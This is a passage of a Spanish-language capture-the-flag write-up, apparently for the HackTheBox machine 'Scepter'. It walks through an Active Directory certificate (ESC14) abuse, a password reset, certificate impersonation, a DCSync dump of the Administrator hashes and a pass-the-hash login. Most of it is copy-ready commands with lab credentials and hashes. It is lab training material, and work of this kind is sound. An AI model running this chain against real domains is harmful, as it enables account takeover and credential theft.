SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\:
❯ cat GENERATED_KRB5_CONF
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = SCEPTER.HTB
[realms]
SCEPTER.HTB = {
kdc = dc01.scepter.htb
admin_server = dc01.scepter.htb
default_domain = scepter.htb
}
[domain_realm]
.scepter.htb = SCEPTER.HTB
scepter.htb = SCEPTER.HTB
Creamos un archivo de “respaldo” del archivo original /etc/krb5.conf:
❯ sudo cp /etc/krb5.conf /etc/krb5_backup.conf
y reemplazamos el archivo /etc/krb5.conf por el archivo de configuración generado por NetExec:
❯ sudo cp GENERATED_KRB5_CONF /etc/krb5.conf
Finalmente, usamos evil-winrm (junto con faketime para evadir problemas de tiempo) para ingresar en la máquina víctima como el usuario h.brown:
❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" evil-winrm -i DC01.scepter.htb -r SCEPTER.HTB
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents>
Podemos extraer la flag de usuario en el Desktop del usuario h.brown.
NT Authority/System - Administrator Link to heading
De Bloodhound podemos ver que el usuario h.brown es parte del grupo CMS, cuya descripción es Certificate Management Service. Dado que ya hemos explotado ESC14 gracias al atributo altSecurityIdentities, podemos enumerar este atributo en la máquina víctima usando el script de PowerShell Get-WriteAltSeclDACEs.ps1 (el cual es dado en el blog). Lo descargamos en nuestra máquina de atacantes usando wget en una terminal:
❯ wget https://raw.githubusercontent.com/JonasBK/Powershell/refs/heads/master/Get-WriteAltSecIDACEs.ps1 -q
y lo subimos a la máquina víctima usando evil-winrm con su función upload a la máquina víctima:
*Evil-WinRM* PS C:\Users\h.brown\Documents> upload Get-WriteAltSecIDACEs.ps1
<SNIP>
*Evil-WinRM* PS C:\Users\h.brown\Documents> Import-Module .\Get-WriteAltSecIDACEs.ps1
Luego, basados en The Hacker Recipes, podemos usar este módulo para ver si podemos editar el atributo altSecurityIdentities para algún usuario en el dominio:
*Evil-WinRM* PS C:\Users\h.brown\Documents> Get-ADObject -Filter * -SearchBase "dc=SCEPTER,dc=HTB" | Get-WriteAltSecIDACEs
ObjectDN : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
InheritedObjectTypeName : User
ObjectTypeName : Alt-Security-Identities
ActiveDirectoryRights : WriteProperty
InheritanceType : All
ObjectType : 00fbf30c-91fe-11d1-aebc-0000f80367c1
InheritedObjectType : bf967aba-0de6-11d0-a285-00aa003049e2
ObjectFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType : Allow
IdentityReference : SCEPTER\CMS
IsInherited : True
InheritanceFlags : ContainerInherit
PropagationFlags : None
ObjectDN : OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
InheritedObjectTypeName : User
ObjectTypeName : Alt-Security-Identities
ActiveDirectoryRights : WriteProperty
InheritanceType : Descendents
ObjectType : 00fbf30c-91fe-11d1-aebc-0000f80367c1
InheritedObjectType : bf967aba-0de6-11d0-a285-00aa003049e2
ObjectFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType : Allow
IdentityReference : SCEPTER\CMS
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : InheritOnly
Podemos escribir y cambiar el atributo altSecurityIdentities para un usuario llamado p.adams y un OU llamado Helpdesk Enrollment Certificate.
Buscando por el usuario p.adams en Bloodhound obtenemos:
Este usuario es parte del grupo Replication Operators; grupo el cual es capaz de performar un ataque DCSync sobre el dominio, lo cual nos permitiría obtener el hash NT para el usuario Administrator si lográsemos impersonarlo. Por tanto, p.adams es nuestro jugoso objetivo ahora.
Como un breve paréntesis, podemos subir Get-AltSecIDMapping.ps1 para obtener el atributo altSecurityIdentities para usuarios en el dominio (tal cual habíamos hecho con ldapsearch) desde Windows y obtener:
*Evil-WinRM* PS C:\Users\h.brown\Documents> Get-AltSecIDMapping -SearchBase "CN=Users,DC=SCEPTER,DC=HTB"
CN=h.brown,CN=Users,DC=scepter,DC=htb
X509:<RFC822>h.brown@scepter.htb
Ahora bien, necesitamos agregar la propiedad altSecurityIdentities con valor X509:<RFC822>p.adams@scepter.htb para el usuario p.adams. ¿Por qué? Porque de esta manera odremos abusar nuevamente del certificado StaffAccessCertificate junto con ESC14 para solicitar un archivo .pfx el cual nos permitirá solicitar el hash del usuario p.adams, justo como hicimos con el usuario h.brown.
Usando bloodyAD podemos agregar el atributo altSecurityIdentities definiendo como valor de éste X509:<RFC822>p.adams@scepter.htb para el usuario p.adams. De esta manera, este usuario será vulnerable a ESC14 tal cual lo había sido h.brown:
❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -k -d scepter.htb --host dc01.scepter.htb set object p.adams altSecurityIdentities -v "X509:<RFC822>p.adams@scepter.htb"
[+] p.adams's altSecurityIdentities has been updated
Revisando nuevamente con ldapsearch, podemos ver que el usuario p.adams ahora tiene el atributo altSecurityIdentities agregado:
❯ ldapsearch -x -H ldap://10.10.11.65 -D 'a.carter@scepter.htb' -w 'GunZf0x123!$' -b "DC=scepter,DC=htb" | grep altSecurityIdentities -C 5
logonCount: 4
sAMAccountName: h.brown
sAMAccountType: 805306368
userPrincipalName: h.brown@scepter.htb
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
dSCorePropagationData: 20241101040716.0Z
dSCorePropagationData: 16010101000001.0Z
lastLogonTimestamp: 133900325018294214
msDS-SupportedEncryptionTypes: 0
--
logonCount: 1
sAMAccountName: p.adams
sAMAccountType: 805306368
userPrincipalName: p.adams@scepter.htb
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>p.adams@scepter.htb
dSCorePropagationData: 20241102220819.0Z
dSCorePropagationData: 20241102220724.0Z
dSCorePropagationData: 20241102110103.0Z
dSCorePropagationData: 20241102074805.0Z
dSCorePropagationData: 16010101000001.0Z
Esto quiere decir que ahora podemos solicitar un certificado para p.adams estableciendo el mail de d.baker como el de p.adams. Primero que todo, en un oneliner restaruramos el permiso GenericAll al usuario d.baker sobre el OU llamado Staff Access Certificate; esto debido de que hay una tarea reestableciendo los atributos/permisos a sus estados originales:
❯ impacket-changepasswd scepter.htb/a.carter@10.10.11.65 -newpass 'GunZf0x123!$' -altuser 'd.baker' -althash '18b5fb0d99e7a475316213c15b6f22ce' -no-pass -reset && faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -d scepter.htb -u a.carter -p 'GunZf0x123!$' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" d.baker
<SNIP>
Hecho esto, volvemos a abusar de ESC14 cambiando el email del usuario d.baker al de p.adams (como hicimos antes para h.brown):
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' --host 10.10.11.65 -d scepter.htb set object d.baker mail -v p.adams@scepter.htb
[+] d.baker's mail has been updated
Solicitamos un nuevo certificado (archivo .pfx) el cual será usado para impersonar al usuario p.adams usando el template StaffAccessCertificate:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy req -u d.baker -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65 -target dc01.scepter.htb -out new_d.baker
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 8
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'new_d.baker.pfx'
Usamos entonces el archivo .pfx obtenido para p.adams para obtener su hash NTLM y un Ticket Granting Ticket (TGT) para éste con Certipy:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx new_d.baker.pfx -dc-ip 10.10.11.65 -username 'p.adams' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: p.adams@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
Funcionó. Obtenemos un hash NTLM para el usuario p.adams.
Dado que el usuario p.adams tenía permisos para ejecutar un ataque DCSync, podemos usar impacket-secretsdump -usando el TGT para p.adams autenticándonos con Kerberos- para solicitar un hash NT para el usuario Administrator:
❯ KRB5CCNAME=p.adams.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" impacket-secretsdump -k -no-pass DC01.scepter.htb -just-dc-user Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cc5d676d45f8287aef2f1abcd65213d9575c86c54c9b1977935983e28348bcd5
Administrator:aes128-cts-hmac-sha1-96:bb557b22bad08c219ce7425f2fe0b70c
Administrator:des-cbc-md5:f79d45bf688aa238
[*] Cleaning up...
Finalmente, usamos el hash NTLM para loguearnos usando evil-winrm como el usuario Administrator mediante un Pass The Hash:
❯ evil-winrm -i DC01.scepter.htb -u Administrator -H 'a291ead3493f9773dc615e66c2ea21c4'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
scepter\administrator
GG. Podemos extraer la flag del usuario root.txt en el Desktop del usuario Administrator.
~Happy Hacking.